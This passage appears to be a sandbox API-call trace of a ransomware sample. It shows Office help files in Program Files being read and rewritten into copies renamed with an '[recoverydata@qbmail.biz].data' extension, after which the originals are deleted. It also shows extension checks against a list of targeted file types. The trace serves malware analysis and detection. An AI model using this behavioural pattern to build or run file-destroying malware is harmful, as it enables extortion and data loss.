dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0090.777] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.777] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0090.777] GetLastError () returned 0x0 [0090.777] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x9339, lpOverlapped=0x0) returned 1 [0090.795] WriteFile (in: hFile=0x18c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x9340, lpOverlapped=0x0) returned 1 [0090.797] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.798] WriteFile (in: hFile=0x18c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.798] SetEndOfFile (hFile=0x18c) returned 1 [0090.798] CloseHandle (hObject=0x18c) returned 1 [0090.799] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.799] SetEndOfFile (hFile=0x1fc) returned 1 [0090.801] CloseHandle (hObject=0x1fc) returned 1 [0090.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0090.801] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0090.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0090.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0090.802] lstrlenW (lpString=".doc") returned 4 [0090.802] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0090.802] lstrlenW (lpString=".docx") returned 5 [0090.802] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0090.802] lstrlenW (lpString=".pdf") returned 4 [0090.802] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0090.802] lstrlenW (lpString=".xls") returned 4 [0090.802] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0090.802] lstrlenW (lpString=".xlsx") returned 5 [0090.802] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0090.802] lstrlenW (lpString=".ppt") returned 4 [0090.802] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0090.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0090.802] lstrlenW (lpString=".zip") returned 4 [0090.802] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0090.802] lstrlenW (lpString=".rar") returned 4 [0090.802] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0090.802] lstrlenW (lpString=".bz2") returned 4 [0090.802] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0090.802] lstrlenW (lpString=".7z") returned 3 [0090.802] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0090.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0090.803] lstrlenW (lpString=".dbf") returned 4 [0090.803] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0090.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0090.803] lstrlenW (lpString=".1cd") returned 4 [0090.803] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0090.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0090.803] lstrlenW (lpString=".jpg") returned 4 [0090.803] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0090.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0090.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0090.803] lstrlenW (lpString=".doc") returned 4 [0090.803] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0090.803] lstrlenW (lpString=".docx") returned 5 [0090.803] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0090.803] lstrlenW (lpString=".pdf") returned 4 [0090.803] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0090.804] lstrlenW (lpString=".xls") returned 4 [0090.804] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0090.804] lstrlenW (lpString=".xlsx") returned 5 [0090.804] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0090.804] lstrlenW (lpString=".ppt") returned 4 [0090.804] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0090.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0090.804] lstrlenW (lpString=".zip") returned 4 [0090.804] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0090.804] lstrlenW (lpString=".rar") returned 4 [0090.804] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0090.804] lstrlenW (lpString=".bz2") returned 4 [0090.804] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0090.804] lstrlenW (lpString=".7z") returned 3 [0090.804] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0090.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0090.804] lstrlenW (lpString=".dbf") returned 4 [0090.804] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0090.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0090.804] lstrlenW (lpString=".1cd") returned 4 [0090.804] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0090.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0090.804] lstrlenW (lpString=".jpg") returned 4 [0090.804] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0090.805] lstrcmpiW (lpString1=".CHM", lpString2=".data") returned -1 [0090.805] lstrlenW (lpString="PSS10R.CHM") returned 10 [0090.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0090.806] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=27195) returned 1 [0090.806] CloseHandle (hObject=0x1fc) returned 1 [0090.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0090.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0090.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0090.813] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.813] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0090.814] GetLastError () returned 0x0 [0090.814] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0090.820] WriteFile (in: hFile=0x18c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0090.822] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.822] WriteFile (in: hFile=0x18c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0090.822] SetEndOfFile (hFile=0x18c) returned 1 [0090.822] CloseHandle (hObject=0x18c) returned 1 [0090.824] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.824] SetEndOfFile (hFile=0x1fc) returned 1 [0090.825] CloseHandle (hObject=0x1fc) returned 1 [0090.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0090.825] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0090.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0090.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0090.826] lstrlenW (lpString=".doc") returned 4 [0090.826] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0090.826] lstrlenW (lpString=".docx") returned 5 [0090.826] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0090.826] lstrlenW (lpString=".pdf") returned 4 [0090.826] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0090.826] lstrlenW (lpString=".xls") returned 4 [0090.826] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0090.826] lstrlenW (lpString=".xlsx") returned 5 [0090.826] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0090.826] lstrlenW (lpString=".ppt") returned 4 [0090.826] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0090.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0090.826] lstrlenW (lpString=".zip") returned 4 [0090.826] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0090.826] lstrlenW (lpString=".rar") returned 4 [0090.826] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0090.826] lstrlenW (lpString=".bz2") returned 4 [0090.826] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0090.826] lstrlenW (lpString=".7z") returned 3 [0090.826] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0090.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0090.827] lstrlenW (lpString=".dbf") returned 4 [0090.827] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0090.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0090.827] lstrlenW (lpString=".1cd") returned 4 [0090.827] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0090.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0090.827] lstrlenW (lpString=".jpg") returned 4 [0090.827] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0090.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0090.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0090.827] lstrlenW (lpString=".doc") returned 4 [0090.827] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0090.828] lstrlenW (lpString=".docx") returned 5 [0090.828] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0090.828] lstrlenW (lpString=".pdf") returned 4 [0090.828] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0090.828] lstrlenW (lpString=".xls") returned 4 [0090.828] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0090.828] lstrlenW (lpString=".xlsx") returned 5 [0090.828] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0090.828] lstrlenW (lpString=".ppt") returned 4 [0090.828] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0090.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0090.828] lstrlenW (lpString=".zip") returned 4 [0090.828] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0090.828] lstrlenW (lpString=".rar") returned 4 [0090.828] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0090.828] lstrlenW (lpString=".bz2") returned 4 [0090.828] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0090.828] lstrlenW (lpString=".7z") returned 3 [0090.828] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0090.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0090.829] lstrlenW (lpString=".dbf") returned 4 [0090.829] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0090.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0090.829] lstrlenW (lpString=".1cd") returned 4 [0090.829] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0090.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0090.829] lstrlenW (lpString=".jpg") returned 4 [0090.829] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0090.829] lstrcmpiW (lpString1=".CHM", lpString2=".data") returned -1 [0090.829] lstrlenW (lpString="SETUP.CHM") returned 9 [0090.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0091.452] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=67190) returned 1 [0091.453] CloseHandle (hObject=0x21c) returned 1 [0091.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0091.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0091.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0091.453] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.453] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0091.454] GetLastError () returned 0x0 [0091.454] ReadFile (in: hFile=0x21c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x10676, lpOverlapped=0x0) returned 1 [0091.749] WriteFile (in: hFile=0x194, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0091.753] ReadFile (in: hFile=0x21c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0091.754] WriteFile (in: hFile=0x194, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0091.754] SetEndOfFile (hFile=0x194) returned 1 [0092.170] CloseHandle (hObject=0x194) returned 1 [0092.280] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.280] SetEndOfFile (hFile=0x21c) returned 1 [0092.282] CloseHandle (hObject=0x21c) returned 1 [0092.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0092.282] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0092.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0092.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0092.283] lstrlenW (lpString=".doc") returned 4 [0092.283] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0092.283] lstrlenW (lpString=".docx") returned 5 [0092.283] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0092.283] lstrlenW (lpString=".pdf") returned 4 [0092.283] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0092.283] lstrlenW (lpString=".xls") returned 4 [0092.283] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0092.283] lstrlenW (lpString=".xlsx") returned 5 [0092.283] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0092.283] lstrlenW (lpString=".ppt") returned 4 [0092.283] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0092.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0092.283] lstrlenW (lpString=".zip") returned 4 [0092.284] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0092.284] lstrlenW (lpString=".rar") returned 4 [0092.284] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0092.284] lstrlenW (lpString=".bz2") returned 4 [0092.284] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0092.284] lstrlenW (lpString=".7z") returned 3 [0092.284] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0092.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0092.284] lstrlenW (lpString=".dbf") returned 4 [0092.284] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0092.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0092.284] lstrlenW (lpString=".1cd") returned 4 [0092.284] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0092.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0092.284] lstrlenW (lpString=".jpg") returned 4 [0092.284] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0092.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0092.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0092.284] lstrlenW (lpString=".doc") returned 4 [0092.285] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0092.285] lstrlenW (lpString=".docx") returned 5 [0092.285] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0092.285] lstrlenW (lpString=".pdf") returned 4 [0092.285] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0092.285] lstrlenW (lpString=".xls") returned 4 [0092.285] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0092.285] lstrlenW (lpString=".xlsx") returned 5 [0092.285] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0092.285] lstrlenW (lpString=".ppt") returned 4 [0092.285] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0092.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0092.285] lstrlenW (lpString=".zip") returned 4 [0092.285] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0092.285] lstrlenW (lpString=".rar") returned 4 [0092.285] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0092.285] lstrlenW (lpString=".bz2") returned 4 [0092.285] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0092.285] lstrlenW (lpString=".7z") returned 3 [0092.285] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0092.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0092.286] lstrlenW (lpString=".dbf") returned 4 [0092.286] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0092.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0092.286] lstrlenW (lpString=".1cd") returned 4 [0092.286] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0092.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0092.286] lstrlenW (lpString=".jpg") returned 4 [0092.286] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0092.286] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0092.286] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0092.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 